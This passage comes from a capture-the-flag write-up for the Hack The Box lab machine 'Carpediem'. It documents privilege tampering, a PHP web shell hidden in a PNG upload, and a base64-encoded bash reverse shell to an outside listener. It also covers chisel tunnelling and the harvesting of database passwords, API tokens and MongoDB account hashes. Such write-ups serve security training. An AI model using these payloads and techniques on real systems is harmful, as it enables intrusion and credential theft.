![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-912ab243325216bd12d471a8138bd5a86323fc03%2FScreenshot-20220730144132-1698x656.png?alt=media)

There is a strange `login_type=2` parameter that was not part of the form. Let's set that to 1 instead and maybe we can elevate our privileges to an admin. After forwarding the request in burpsuite, we go to `http://portal.carpediem.htb/admin` and it loads successfully!

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-b079340181a8c847bc3cabb4612771e87aedb138%2FScreenshot%202022-07-30%20at%2014-48-20%20Motorcycle%20Store%20Portal.png?alt=media)

There are a few places we can upload files. However, The "Quarterly Report Upload" seems like a good spot since it says "NOTE: Upload functions still in development!" However, there doesn't appear to be any functionality to actually upload files on that page.

## Foothold

### Reverse Shell

If we go to our name in the top right and click "My Account" (`http://portal.carpediem.htb/admin/?page=user`), we get the ability to upload a profile picture:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-d6733a451792fe0dba336aef5caecc751e08270f%2FScreenshot%202022-07-30%20at%2014-54-38%20Motorcycle%20Store%20Portal.png?alt=media)

Side note: Around this time I got logged out. Our login `amy:amy` doesn't work on `http://portal.carpediem.htb/admin/login.php` even though we are an admin. We still need to sign in on `http://portal.carpediem.htb/` and then go to the admin page.

Generate a random PNG with `mx=256;my=256;head -c "$((3*mx*my))" /dev/urandom | convert -depth 8 -size "${mx}x${my}" RGB:- random.png` (command from [this StackExchange answer](https://unix.stackexchange.com/a/289670)). Then, use `exiftool` to embed some PHP code in the comment field: `exiftool -Comment="<?php echo 'Command:'; if(\$_POST){system(\$_POST['cmd']);} __halt_compiler();" random.png` (based on [command from HackTricks](https://book.hacktricks.xyz/pentesting-web/file-upload#bypass-content-type-and-magic-number)). We can rename our image to `random.png.php` so the server will be able to execute our php code.

Uploading our new image works successfully! Now, just right click and open the image in a new tab. The URL will be something like `http://portal.carpediem.htb/uploads/1659209820_random.png.php`. Now, just use `curl` to post commands to the `cmd` parameter:

```
$ curl -X POST --data "cmd=ls" portal.carpediem.htb/uploads/1659209820_random.png.php --output -
PNG

IHD?1gAMA
         a cHRMz&u0`:pQ<bKGDtIME$qO%tEXtdate:create2022-07-30T19:36:15+00:00+\%tEXtdate:modify2022-07-30T19:36:15+00:00ZTtEXtCommentCommand:1
1635449220_1634087520_bike-img-1.jpg
1635449820_1634087520_bike-img-1.jpg
1635791700_HONDA_XADV.png
1635793020_HONDA_XADV.png
1659209460_test.php
1659209820_random.png.php
2
20
21
22
23
thumbnails
```

Now, let's get a reverse shell. Our reverse shell will be a standard `bash` reverse shell: `bash -i >& /dev/tcp/10.10.14.98/61991 0>&1`. Let's encode that in base64 by running `echo -n "bash -i >& /dev/tcp/10.10.14.98/61991 0>&1" | base64`, which gives us `YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC82MTk5MSAwPiYx`. So, our payload should be `echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC45OC82MTk5MSAwPiYx | base64 -d | bash`. Let's url encode that to `echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC82MTk5MSAwPiYx%20%7C%20base64%20-d%20%7C%20bash`. Start a listener with `pwncat-cs -lp 61991` and then run the reverse shell with `curl -X POST --data "cmd=echo%20YmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMC4xMC4xNC45OC82MTk5MSAwPiYx%20%7C%20base64%20-d%20%7C%20bash" http://portal.carpediem.htb/uploads/1659210360_random.png.php --output -`.

### Information Gathering (Foothold)

We are in a docker container due to the hostname and the presence of `.dockerenv` at `/`.

The [Docker Breakout / Privilege Escalation](https://book.hacktricks.xyz/linux-hardening/privilege-escalation/docker-breakout/docker-breakout-privilege-escalation) page on HackTricks mentions a great tool called [CDK](https://github.com/cdk-team/CDK#installationdelivery) for breaking out of Docker containers. We [download the program from GitHub](https://github.com/cdk-team/CDK/releases/), upload it using pwntools by running `upload Downloads/cdk_linux_amd64` in the local shell, and then run a full scan with `./cdk_linux_amd64 eva --full`. This doesn't find anything useful.

We can look in the directory for the `portal` site and see if we find anything interesting.

```
(remote) www-data@3c371615b7aa:/var/www/html/portal$ ls -ls | grep php
4 -rw-r--r-- 1 www-data www-data  233 Jun 22  2021 about.php
8 -rw-r--r-- 1 www-data www-data 4870 Oct 28  2021 bikes.php
8 -rw-r--r-- 1 www-data www-data 7002 Oct 13  2021 book_to_rent.php
4 -rw-r--r-- 1 www-data www-data 1708 Oct 29  2021 config.php
8 -rw-r--r-- 1 www-data www-data 5233 Oct 28  2021 edit_account.php
4 -rw-r--r-- 1 www-data www-data 2280 Oct 13  2021 home.php
4 -rw-r--r-- 1 root     root     2686 Apr  5 22:28 index.php
4 -rw-r--r-- 1 www-data www-data  667 Oct 28  2021 initialize.php
4 -rw-r--r-- 1 www-data www-data 2963 Oct 27  2021 login.php
4 -rw-r--r-- 1 www-data www-data   67 Jun 21  2021 logout.php
8 -rw-r--r-- 1 www-data www-data 4899 Oct 27  2021 my_account.php
8 -rw-r--r-- 1 www-data www-data 4564 Oct 27  2021 registration.php
4 -rw-r--r-- 1 www-data www-data  441 Oct 13  2021 success_booking.php
8 -rw-r--r-- 1 www-data www-data 5327 Oct 28  2021 view_bike.php
4 -rw-r--r-- 1 www-data www-data 3755 Oct 13  2021 view_categories.php

(remote) www-data@3c371615b7aa:/var/www/html/portal$ cat initialize.php
<?php
$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>'');
if(!defined('base_url')) define('base_url','http://portal.carpediem.htb/');
if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
if(!defined('dev_data')) define('dev_data',$dev_data);
if(!defined('DB_SERVER')) define('DB_SERVER',"mysql");
if(!defined('DB_USERNAME')) define('DB_USERNAME',"portaldb");
if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"J5tnqsXpyzkK4XNt");
if(!defined('DB_NAME')) define('DB_NAME',"portal");
?>
```

We get a username, `dev_oretnom`, and another password hash, `5da283a2d990e8d8512cf967df5bc0d0`, which [CrackStation](https://crackstation.net/) cannot crack. But, we do get credentials for the database: `portaldb:J5tnqsXpyzkK4XNt`. These probably are not helpful because we were already able to enumerate the database with `sqlmap` thanks to a SQL injection.

We can quickly scan the other files for passwords with `grep -B 2 -A 2 -rni password --include "*.php"`:

```
registration.php-51-                </div>
registration.php-52-                <div class="form-group">
registration.php:53:                    <label for="" class="control-label">Password</label>
registration.php:54:                    <input type="password" class="form-control form-control-sm form" name="password" required>
registration.php-55-                </div>
registration.php-56-                <div class="form-group d-flex justify-content-between">
--
registration.php-92-                        var _err_el = $('<div>')
registration.php-93-                            _err_el.addClass("alert alert-danger err-msg").text(resp.msg)
registration.php:94:                        $('[name="password"]').after(_err_el)
registration.php-95-                        end_loader()
registration.php-96-
--
classes/Users.php-16-           $data = '';
classes/Users.php-17-           foreach($_POST as $k => $v){
classes/Users.php:18:                   if(!in_array($k,array('password'))){
classes/Users.php-19-                           if(!empty($data)) $data .=" , ";
classes/Users.php-20-                           $data .= " {$k} = '{$v}' ";
classes/Users.php-21-                   }
classes/Users.php-22-           }
classes/Users.php:23:           if(!empty($password) && !empty($id)){
classes/Users.php:24:                   $password = md5($password);
classes/Users.php-25-                   if(!empty($data)) $data .=" , ";
classes/Users.php:26:                   $data .= " `password` = '{$password}' ";
classes/Users.php-27-           }
classes/Users.php-28-
--
classes/Login.php-19-           $_POST = sanitize_post($_POST);
classes/Login.php-20-           extract($_POST);
classes/Login.php:21:           $stmt = $this->conn->prepare("SELECT * from `users` where `username` = ? and `password` = ? and `id` = ?");
classes/Login.php-22-           $is_admin = 1;
classes/Login.php:23:           $stmt->bind_param("ssi",$username, md5($password), $is_admin);
classes/Login.php-24-           $stmt->execute();
classes/Login.php-25-           $rows = $stmt->get_result();
--
classes/Login.php-31-           return json_encode(array('status'=>'success'));
classes/Login.php-32-           }else{
classes/Login.php:33:           return json_encode(array('status'=>'incorrect','last_qry'=>"SELECT * from users where username = '$username' and password = md5('$password') and login_type = '1'"));
classes/Login.php-34-           }
classes/Login.php-35-   }
--
classes/Login.php-42-           $_POST = sanitize_post($_POST);
classes/Login.php-43-           extract($_POST);
classes/Login.php:44:           $stmt = $this->conn->prepare("SELECT * from `users` where `username` = ? and `password` = ?");
classes/Login.php:45:           $stmt->bind_param("ss",$username, md5($password));
classes/Login.php-46-           $stmt->execute();
classes/Login.php-47-           $rows = $stmt->get_result();
--
classes/Master.php-341-         $data = "";
classes/Master.php-342-         foreach($_POST as $k =>$v){
classes/Master.php:343:                 if(!in_array($k,array('id', 'password'))){
classes/Master.php-344-                         if(!empty($data)) $data .=",";
classes/Master.php-345-                         $data .= " `{$k}`='{$v}' ";
classes/Master.php-346-                 }
classes/Master.php-347-         }
classes/Master.php:348:         if(!empty($password)){
classes/Master.php:349:                 $data .= ", `password` = '".md5($password)."' ";
classes/Master.php-350-         }
classes/Master.php-351-         $stmt = $this->conn->prepare("SELECT * FROM `users` where `username` = ?");
--
classes/Master.php-405-         $data = "";
classes/Master.php-406-         foreach($_POST as $k =>$v){
classes/Master.php:407:                 if(!in_array($k,array('password'))){
classes/Master.php-408-                         if(!empty($data)) $data .=",";
classes/Master.php-409-                         $data .= " `{$k}`='{$v}' ";
classes/Master.php-410-                 }
classes/Master.php-411-         }
classes/Master.php:412:         if(!empty($password)){
classes/Master.php:413:                 $password = md5($password);
classes/Master.php-414-                 if(!empty($data)) $data .=" , ";
classes/Master.php:415:                 $data .= " `password` = '{$password}' ";
classes/Master.php-416-         }
classes/Master.php-417-         $stmt = $this->conn->prepare("SELECT * FROM `users` where `username` = ?");
--
classes/DBConnection.php-7-    private $host = 'mysql';
classes/DBConnection.php-8-    private $username = 'portaldb';
classes/DBConnection.php:9:    private $password = 'J5tnqsXpyzkK4XNt';
classes/DBConnection.php-10-    private $database = 'portal';
classes/DBConnection.php-11-
--
classes/DBConnection.php-16-        if (!isset($this->conn)) {
classes/DBConnection.php-17-
classes/DBConnection.php:18:            $this->conn = new mysqli($this->host, $this->username, $this->password, $this->database);
classes/DBConnection.php-19-
classes/DBConnection.php-20-            if (!$this->conn) {
--
classes/Trudesk.php-5-    private $apikey = 'f8691bd2d8d613ec89337b5cd5a98554f8fffcc4';
classes/Trudesk.php-6-    private $username = 'svc-portal-tickets';
classes/Trudesk.php:7:    private $password = '';
classes/Trudesk.php-8-    private $database = '';
classes/Trudesk.php-9-
--
initialize.php-1-<?php
initialize.php:2:$dev_data = array('id'=>'-1','firstname'=>'Developer','lastname'=>'','username'=>'dev_oretnom','password'=>'5da283a2d990e8d8512cf967df5bc0d0','last_login'=>'','date_updated'=>'','date_added'=>'');
initialize.php-3-if(!defined('base_url')) define('base_url','http://portal.carpediem.htb/');
initialize.php-4-if(!defined('base_app')) define('base_app', str_replace('\\','/',__DIR__).'/' );
--
initialize.php-6-if(!defined('DB_SERVER')) define('DB_SERVER',"mysql");
initialize.php-7-if(!defined('DB_USERNAME')) define('DB_USERNAME',"portaldb");
initialize.php:8:if(!defined('DB_PASSWORD')) define('DB_PASSWORD',"J5tnqsXpyzkK4XNt");
initialize.php-9-if(!defined('DB_NAME')) define('DB_NAME',"portal");
initialize.php-10-?>
--
admin/user/index.php-29-                                </div>
admin/user/index.php-30-                                <div class="form-group">
admin/user/index.php:31:                                        <label for="password">Password</label>
admin/user/index.php:32:                                        <input type="password" name="password" id="password" class="form-control" value="" autocomplete="off">
admin/user/index.php:33:                                        <small><i>Leave this blank if you dont want to change the password.</i></small>
admin/user/index.php-34-                                </div>
admin/user/index.php-35-                                <div class="form-group">
--
admin/login.php-26-        </div>
admin/login.php-27-        <div class="input-group mb-3">
admin/login.php:28:          <input type="password" class="form-control" name="password" placeholder="Password">
admin/login.php-29-          <div class="input-group-append">
admin/login.php-30-            <div class="input-group-text">
--
admin/login.php-47-
admin/login.php-48-      <!-- <p class="mb-1">
admin/login.php:49:        <a href="forgot-password.html">I forgot my password</a>
admin/login.php-50-      </p> -->
admin/login.php-51-
--
login.php-21-                </div>
login.php-22-                <div class="form-group">
login.php:23:                    <label for="" class="control-label">Password</label>
login.php:24:                    <input type="password" class="form-control form" name="password" required>
login.php-25-                </div>
login.php-26-                <div class="form-group d-flex justify-content-between">
--
edit_account.php-40-                            </div>
edit_account.php-41-                            <div class="form-group">
edit_account.php:42:                                <label for="password" class="control-label">New Password</label>
edit_account.php:43:                                <input type="password" name="password" class="form-control form" value="" placeholder="(Enter value to change password)">
edit_account.php-44-                            </div>
edit_account.php-45-                            <div class="form-group d-flex justify-content-end">
```

#### Trudesk Initial Findings

The api key and username in `classes/Trudesk.php` seem interesting:

```
$ cat classes/Trudesk.php
<?php
class TrudeskConnection{

    private $host = 'trudesk.carpediem.htb';
    private $apikey = 'f8691bd2d8d613ec89337b5cd5a98554f8fffcc4';
    private $username = 'svc-portal-tickets';
    private $password = '';
    private $database = '';

}
```

We have a new virtual host. Let's add it to `/etc/hosts`: `echo "10.10.11.167 trudesk.carpediem.htb" | sudo tee -a /etc/hosts`. We get a login page that displays that we have version `1.1.11`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-58c2db1c6a021bc3c32cf48f128ba795b0fac74d%2FScreenshot%202022-07-30%20at%2016-09-19%20Trudesk%20%C2%B7%20Login.png?alt=media)

[Trudesk](https://github.com/polonel/trudesk) "is an open-source help desk/ticketing solution." Searching for "trudesk 1.1.11 exploit" finds [CVE-2022-2023](https://nvd.nist.gov/vuln/detail/CVE-2022-2023) and [the bug bounty report](https://huntr.dev/bounties/0f35b1d3-56e6-49e4-bc5a-830f52e094b3/). However, this exploit seems to require us to have a non-privileged login, which we do not.

We have an API key so we can try searching for tickets according to the [Trudesk API docs](https://docs.trudesk.io/v1/api/#Search):

```
$ curl -H "Content-Type: application/json" \
     -H "accesstoken: f8691bd2d8d613ec89337b5cd5a98554f8fffcc4" \
     -l http://trudesk.carpediem.htb/api/v1/tickets/search/\?search\=\{a\}
{"success":true,"error":null,"count":0,"totalCount":0,"tickets":[]}%
```

We also explore other elements of the Trudesk API but find nothing.

#### LinPEAS

Upload linPEAS and run with `./linpeas.sh -a 2>&1 | tee linpeas_report_docker.txt`. Download the report with `download linepeas_report.txt` in the local terminal. You can open [linpeas\_report\_docker.txt](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/linpeas_report_docker.txt) with `less -R linpeas_report_docker.txt`.

There is some sensitive information in the environment variables:

```
╔══════════╣ Environment
╚ Any private information inside environment variables?
HISTFILESIZE=0
MYSQL_PORT_33060_TCP=tcp://172.17.0.4:33060
APACHE_CONFDIR=/etc/apache2
HOSTNAME=3c371615b7aa
PHP_INI_DIR=/usr/local/etc/php
SHLVL=2
OLDPWD=/var/www/html/portal
PS1=$(command printf "\[\033[01;31m\](remote)\[\033[0m\] \[\033[01;33m\]$(whoami)@$(hostname)\[\033[0m\]:\[\033[1;36m\]$PWD\[\033[0m\]\$ ")
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=7.4.25
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=42670A7FE4D0441C8E4632349E4FDC074A4EF02D 5A52880781F755608BF815FC910DEB46F53EA312
MYSQL_ENV_MYSQL_MAJOR=8.0
PHP_ASC_URL=https://www.php.net/distributions/php-7.4.25.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
_=./linpeas.sh
PHP_URL=https://www.php.net/distributions/php-7.4.25.tar.xz
TERM=tmux-256color
MYSQL_PORT_3306_TCP_ADDR=172.17.0.4
MYSQL_ENV_MYSQL_ROOT_PASSWORD=3dQXeqjMHnq4kqDv
HISTCONTROL=ignorespace
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
MYSQL_ENV_GOSU_VERSION=1.12
MYSQL_PORT_3306_TCP_PORT=3306
APACHE_LOCK_DIR=/var/lock/apache2
MYSQL_PORT_3306_TCP_PROTO=tcp
LANG=C
HISTSIZE=0
MYSQL_PORT_33060_TCP_ADDR=172.17.0.4
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
MYSQL_PORT=tcp://172.17.0.4:3306
APACHE_LOG_DIR=/var/log/apache2
MYSQL_PORT_3306_TCP=tcp://172.17.0.4:3306
MYSQL_PORT_33060_TCP_PORT=33060
MYSQL_ENV_MYSQL_VERSION=8.0.27-1debian10
MYSQL_PORT_33060_TCP_PROTO=tcp
MYSQL_NAME=/portal/mysql
PWD=/tmp
PHPIZE_DEPS=autoconf            dpkg-dev                file            g++             gcc         libc-dev                 make            pkg-config              re2c
PHP_SHA256=12a758f1d7fee544387a28d3cf73226f47e3a52fb3049f07fcc37d156d393c0a
APACHE_ENVVARS=/etc/apache2/envvars
HISTFILE=/dev/null
```

There is a MySQL server at `172.17.0.4:3306` with a root password of `3dQXeqjMHnq4kqDv`. From `/var/www/html/portal/initialize.php` we saw that the site was connecting to the address `mysql`, which Docker resolves automatically if that is the name of a container. We can resolve it ourselves with `getent hosts mysql`:

```
172.17.0.4      mysql a5004fe641ca
```

So, `mysql` is `172.17.0.4`. So, now we have two passwords to the database at `172.17.0.4:3306`.

Since we have limited tools in the docker container, we need to forward this port to our attacker machine so we can work with it. This is made easy with [chisel](https://github.com/jpillora/chisel) ([helpful guide](https://0xdf.gitlab.io/2020/08/10/tunneling-with-chisel-and-ssf-update.html)). Run `./chisel server -p 12350 --reverse` on your attacker machine and then run `./chisel client 10.10.14.98:12350 R:3306:172.17.0.4:3306` on the target. You can upload `chisel` easily with pwncat by running `upload tools/chisel` in the local shell of pwncat.

We can then run `sqlmap -d mysql://root:3dQXeqjMHnq4kqDv@localhost:3306/ --dbs` to dump the list of databases:

```
available databases [5]:
[*] information_schema
[*] mysql
[*] performance_schema
[*] portal
[*] sys
```

Sure enough, this is the same database we exploted with SQLi before. So, nothing new to see here.

Anyway, LinPEAS also finds some other devices on the network, which are probably other Docker containers:

```
╔══════════╣ Networks and neighbours
Iface        Destination     Gateway         Flags   RefCnt  Use     Metric  Mask            MTU     Window  IRTT                                                       
eth0    00000000        010011AC        0003    0       0       0       00000000        0       0       0                                                                               
eth0    000011AC        00000000        0001    0       0       0       0000FFFF        0       0       0                                                                               
IP address       HW type     Flags       HW address            Mask     Device
172.17.0.6       0x1         0x2         02:42:ac:11:00:06     *        eth0
172.17.0.3       0x1         0x2         02:42:ac:11:00:03     *        eth0
172.17.0.4       0x1         0x2         02:42:ac:11:00:04     *        eth0
172.17.0.1       0x1         0x2         02:42:1d:cc:7d:66     *        eth0
172.17.0.2       0x1         0x2         02:42:ac:11:00:02     *        eth0
```

#### Nmap

Let's use `nmap` to scan these machines. I uploaded [this standalone `nmap` binary](https://github.com/andrew-d/static-binaries/blob/master/binaries/linux/x86_64/nmap) (it's an old version, but it should be fine) to the machine:

```
$ ./nmap -p- 172.17.0.0/24
Starting Nmap 6.49BETA1 ( http://nmap.org ) at 2022-07-30 21:07 UTC
Unable to find nmap-services!  Resorting to /etc/services
Cannot find nmap-payloads. UDP payloads are disabled.
Nmap scan report for 172.17.0.1
Host is up (0.00013s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap scan report for 172.17.0.2
Host is up (0.0010s latency).
Not shown: 65532 closed ports
PORT    STATE SERVICE
21/tcp  open  ftp
80/tcp  open  http
443/tcp open  https

Nmap scan report for 172.17.0.3
Host is up (0.00098s latency).
Not shown: 65534 closed ports
PORT      STATE SERVICE
27017/tcp open  unknown

Nmap scan report for mysql (172.17.0.4)
Host is up (0.00011s latency).
Not shown: 65533 closed ports
PORT      STATE SERVICE
3306/tcp  open  mysql
33060/tcp open  unknown

Nmap scan report for 3c371615b7aa (172.17.0.5)
Host is up (0.000052s latency).
Not shown: 65534 closed ports
PORT   STATE SERVICE
80/tcp open  http

Nmap scan report for 172.17.0.6
Host is up (0.00011s latency).
Not shown: 65534 closed ports
PORT     STATE SERVICE
8118/tcp open  unknown

Nmap done: 256 IP addresses (6 hosts up) scanned in 23.33 seconds
```

Forwarding `172.17.0.6:8118` with `./chisel client 10.10.14.98:12350 R:8118:172.17.0.6:8118` reveals that `172.17.0.6:8118` is Trudesk. We check the other http services the same way. `172.17.0.1:80` is the countdown website we saw initially, which makes sense since `172.17.0.1` is the host. `172.17.0.2:80` shows the "Apache2 Ubuntu Default Page." `172.17.0.2:443` appears to be an instance of [Backdrop CMS](https://backdropcms.org/):

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-9c3bbf6aefd275c1c696ed25f5fd091241b1f8c4%2FScreenshot%202022-07-30%20at%2017-21-44%20Home%20backdrop%20carpediem%20htb.png?alt=media)

Searching for "backdrop cms exploit" doesn't immediately find anything promising.

There is also FTP on `172.17.0.2`, which is interesting. Forwarding that port and attempt [anonymous login](https://book.hacktricks.xyz/network-services-pentesting/pentesting-ftp#anonymous-login) doesn't work.

### MongoDB

Port `27017` is the default MongoDB port. We port forward `172.17.0.3:27017`. Then, just run the `mongo` command on the attacker machine and it will automatically connect to the correct database since it is on `localhost` now.

(Note: This part is very similar to the [Talkative machine](https://github.com/HHousen/hack-the-box/blob/master/Machines/Talkative/README.md). This machine and Talkative share an author.)

We can view the databases and switch to the `trudesk` database:

```
rs0:PRIMARY> show dbs
admin    0.000GB
config   0.000GB
local    0.000GB
trudesk  0.001GB
rs0:PRIMARY> use trudesk
switched to db trudesk
rs0:PRIMARY> db
trudesk
```

We can view the collections in this database with `show collections`:

```
accounts
counters
departments
groups
messages
notifications
priorities
role_order
roles
sessions
settings
tags
teams
templates
tickets
tickettypes
```

Let's view the `accounts` collection:

```json
> db.accounts.find().pretty()
{
        "_id" : ObjectId("623c8b20855cc5001a8ba13c"),
        "preferences" : {
                "tourCompleted" : false,
                "autoRefreshTicketGrid" : true,
                "openChatWindows" : [ ]
        },
        "hasL2Auth" : false,
        "deleted" : false,
        "username" : "admin",
        "password" : "$2b$10$imwoLPu0Au8LjNr08GXGy.xk/Exyr9PhKYk1lC/sKAfMFd5i3HrmS",
        "fullname" : "Robert Frost",
        "email" : "rfrost@carpediem.htb",
        "role" : ObjectId("623c8b20855cc5001a8ba138"),
        "title" : "Sr. Network Engineer",
        "accessToken" : "22e56ec0b94db029b07365d520213ef6f5d3d2d9",
        "__v" : 0,
        "lastOnline" : ISODate("2022-04-07T20:30:32.198Z")
}
{
        "_id" : ObjectId("6243c0be1e0d4d001b0740d4"),
        "preferences" : {
                "tourCompleted" : false,
                "autoRefreshTicketGrid" : true,
                "openChatWindows" : [ ]
        },
        "hasL2Auth" : false,
        "deleted" : false,
        "username" : "jhammond",
        "email" : "jhammond@carpediem.htb",
        "password" : "$2b$10$n4yEOTLGA0SuQ.o0CbFbsex3pu2wYr924cKDaZgLKFH81Wbq7d9Pq",
        "fullname" : "Jeremy Hammond",
        "title" : "Sr. Systems Engineer",
        "role" : ObjectId("623c8b20855cc5001a8ba139"),
        "accessToken" : "a0833d9a06187dfd00d553bd235dfe83e957fd98",
        "__v" : 0,
        "lastOnline" : ISODate("2022-04-01T23:36:55.940Z")
}
{
        "_id" : ObjectId("6243c28f1e0d4d001b0740d6"),
        "preferences" : {
                "tourCompleted" : false,
                "autoRefreshTicketGrid" : true,
                "openChatWindows" : [ ]
        },
        "hasL2Auth" : false,
        "deleted" : false,
        "username" : "jpardella",
        "email" : "jpardella@carpediem.htb",
        "password" : "$2b$10$nNoQGPes116eTUUl/3C8keEwZAeCfHCmX1t.yA1X3944WB2F.z2GK",
        "fullname" : "Joey Pardella",
        "title" : "Desktop Support",
        "role" : ObjectId("623c8b20855cc5001a8ba139"),
        "accessToken" : "7c0335559073138d82b64ed7b6c3efae427ece85",
        "__v" : 0,
        "lastOnline" : ISODate("2022-04-07T20:33:20.918Z")
}
{
        "_id" : ObjectId("6243c3471e0d4d001b0740d7"),
        "preferences" : {
                "tourCompleted" : false,
                "autoRefreshTicketGrid" : true,
                "openChatWindows" : [ ]
        },
        "hasL2Auth" : false,
        "deleted" : false,
        "username" : "acooke",
        "email" : "acooke@carpediem.htb",
        "password" : "$2b$10$qZ64GjhVYetulM.dqt73zOV8IjlKYKtM/NjKPS1PB0rUcBMkKq0s.",
        "fullname" : "Adeanna Cooke",
        "title" : "Director - Human Resources",
        "role" : ObjectId("623c8b20855cc5001a8ba139"),
        "accessToken" : "9c7ace307a78322f1c09d62aae3815528c3b7547",
        "__v" : 0,
        "lastOnline" : ISODate("2022-03-30T14:21:15.212Z")
}
{
        "_id" : ObjectId("6243c69d1acd1559cdb4019b"),
        "preferences" : {
                "tourCompleted" : false,
                "autoRefreshTicketGrid" : true,
                "openChatWindows" : [ ]
        },
        "hasL2Auth" : false,
        "deleted" : false,
        "username" : "svc-portal-tickets",
        "email" : "tickets@carpediem.htb",
        "password" : "$2b$10$CSRmXjH/psp9DdPmVjEYLOUEkgD7x8ax1S1yks4CTrbV6bfgBFXqW",
        "fullname" : "Portal Tickets",
        "title" : "",
        "role" : ObjectId("623c8b20855cc5001a8ba13a"),
        "accessToken" : "f8691bd2d8d613ec89337b5cd5a98554f8fffcc4",
        "__v" : 0,
        "lastOnline" : ISODate("2022-03-30T13:50:02.824Z")
}
```

### Trudesk to Zoiper

We now have some additional `accessToken`s that might be able to read some tickets via the Trudesk API (before we just had `svc-portal-tickets`'s API key). I used `Robert Frost`'s key like so:

```
curl -H "Content-Type: application/json" \
     -H "accesstoken: 22e56ec0b94db029b07365d520213ef6f5d3d2d9" \
     -l http://trudesk.carpediem.htb/api/v1/tickets/search/\?search\=\{a\}
```

The output is available in [trudesk\_api\_ticket\_search.json](https://github.com/HHousen/hack-the-box/blob/master/Machines/Carpediem/trudesk_api_ticket_search.json). We could have changed a user's password like we did in the [Talkative machine writeup](https://github.com/HHousen/hack-the-box/blob/master/Machines/Talkative/README.md), but that would require us to fiure out how passwords are hashed.

We find this conversation:

```
<p>We have hired a new Network Engineer and need to get him set up with his credentials and phone before his start date next month.<br />Please create this account at your earliest convenience.<br /><br />Thank you.</p>

<p>Hey Adeanna,<br>I think Joey is out this week, but I can take care of this. Whats the last 4 digits of his employee ID so I can get his extension set up in the VoIP system?</p>

<p>Thanks Robert,<br>Last 4 of employee ID is 9650.</p>

<p>Thank you! He&#39;s all set up and ready to go. When he gets to the office on his first day just have him log into his phone first. I&#39;ll leave him a voicemail with his initial credentials for server access. His phone pin code will be 2022 and to get into voicemail he can dial *62</p>\n<p>Also...let him know that if he wants to use a desktop soft phone that we&#39;ve been testing Zoiper with some of our end users.</p>\n<p>Changing the status of this ticket to pending until he&#39;s been set up and changes his initial credentials.</p>
```

[Zoiper](https://www.zoiper.com/) is a "free softphone to make VoIP calls through your PBX or favorite SIP provider." We can download the software by going to [the download page](https://www.zoiper.com/en/voip-softphone/download/current), clicking "Linux," clicking "Free," and finally clicking "Debian package." Install it with `sudo dpkg -i ~/Downloads/Zoiper5_5.5.13_x86_64.deb`. Run it with `zoiper5`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-584d8ff40c361c28f3b8e191fafbf42f3d5bc5a2%2FScreenshot-20220730180039-1680x1160.png?alt=media)

Click "Contine as Free User." Then sign in using the credentials we leaked from Trudesk, `9650:2022`:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-5c858e47892d07221cca1b43c047adbf281f4bd8%2FScreenshot-20220730180603-1676x1156.png?alt=media)

Use the IP address `10.10.11.167` (I tried `carpediem.htb` but that wouldn't work):

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-91aca7cb117d31387ede207b7ead636b05808605%2FScreenshot-20220730192810-1688x1160.png?alt=media)

Zoiper will now test some configurations:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-93820ef042d5777c8d7397b67aefcc79abd181da%2FScreenshot-20220730192936-1680x1166.png?alt=media)

Finally, we can dial `*62` to check the voicemail:

![](https://1600652893-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FS0LWH4dLpl2un5qIMXwQ%2Fuploads%2Fgit-blob-507631e790d931aa1f53e4d5ae0f53119f0ac4ca%2FScreenshot-20220730193040-484x1158.png?alt=media)

We are asked for a password. Just use `2022` from before. Press 1 for the new message. The message gives a welcome to Horace by Robert and lists a password character by character: `AuRj4pxq9qPk`.

